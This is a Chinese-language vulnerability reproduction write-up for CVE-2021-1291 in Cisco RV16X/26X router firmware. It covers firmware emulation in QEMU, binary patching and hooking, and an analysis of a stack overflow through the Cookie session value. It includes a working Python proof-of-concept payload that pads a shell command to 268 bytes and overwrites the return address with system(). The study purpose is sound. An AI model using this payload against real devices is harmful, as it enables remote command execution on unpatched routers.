Cisco漏洞复现(CVE-2021-1291)

Cisco漏洞复现(CVE-2021-1291)

漏洞复现

环境

• 虚拟机:AttifyOS3.0(Ubuntu18)
百度云盘AttifyOS下载地址:https://pan.baidu.com/s/1Vracsnlt5uNbdmfYK4dp8Q
密码:tvoh
• 固件版本:RV16X_26X-v1.0.01.01-2020-08-17-11-09-01-AM
• 工具:IDA、binwalk、arm-gcc
• Linux内核和硬盘映像
下载地址:https://people.debian.org/~aurel32/qemu/armhf/

步骤

  1. 固件解压
binwalk -Me RV16X_26X-v1.0.01.01-2020-08-17-11-09-01-AM.img
  1. 固件模拟
//配置网络通信
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.234.131/24 up
//启动虚拟机 密码root
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
//配置qemu虚拟机网络
ifconfig eth0 192.168.234.132/24

漏洞程序为mini_httpd,虚拟机环境与真实设备有区别,需对程序进行库函数拦截及打patch。
程序中setsocket函数会出现错误,重新编写库函数setsocket,并进行交叉编译。

#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen){
    return 1;
}
arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook.so

在这里插入图片描述

启动程序会出现403页面,搜索关键字,确定问题点,用IDA对程序目标位置进行修改。
源指令为cmp R3,#0,由于R3为0,弹出403页面,讲指令修改为cmp R3,#1可满足跳转条件。
在这里插入图片描述

//将固件、hook程序、打过patch的程序传入qemu虚拟机,命令报错在命令前加sudo
scp -r ./rootfs root@192.168.234.132:/root/
scp -r ./mini_httpd  root@192.168.234.132:/root/rootfs/
scp -r ./hook.so root@192.168.234.132:/root/rootfs/
//启动服务(qemu虚拟机进行)
chroot ./rootfs sh
LD_PRELOAD='hook.so' ./mini_httpd

payload


import requests

url = "http://192.168.2.2"
cmd="ls"//执行的命令
payload = ("sessionID="+cmd+";").ljust(268,"a")+"\x1c\xb1\x01" 
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)

漏洞分析

漏洞触发点位于web端,先考虑httpd程序,官网公告漏洞在固件v1.0.01.02版本被修复。对修复前后程序进行对比发现,漏洞函数为sub_15CE4,溢出变量为src,与a1、a2有关,通过函数调用链溯源。
调用链为sub_15CE4← sub_16138 ← sub_1625C ← sub_16F60 ← sub_11FA0
在这里插入图片描述

a1为sub_1625C的参数a1,a1为sub_16F60变量dword_35190,dword_35190为请求Cookie的Value。
在这里插入图片描述

在这里插入图片描述

确定溢出点为Cookie中的Session变量。在获得Session值之前存在空格过滤与请求校验。dword_35164为请求文件名字符串的指针。请求对象需满足sub_169F0中要求。sub_16138对Session值进行空格过滤。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

漏洞点函数地址空间大小为256+34=268
256为s数组的大小,3
4为三个指针的大小。
在地址空间后用system函数地址覆盖返回地址,函数返回时r0为栈中内容,故将待执行指令放入Session中。
故payload需满足待执行命令加填充字符长度为268,后为system地址。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值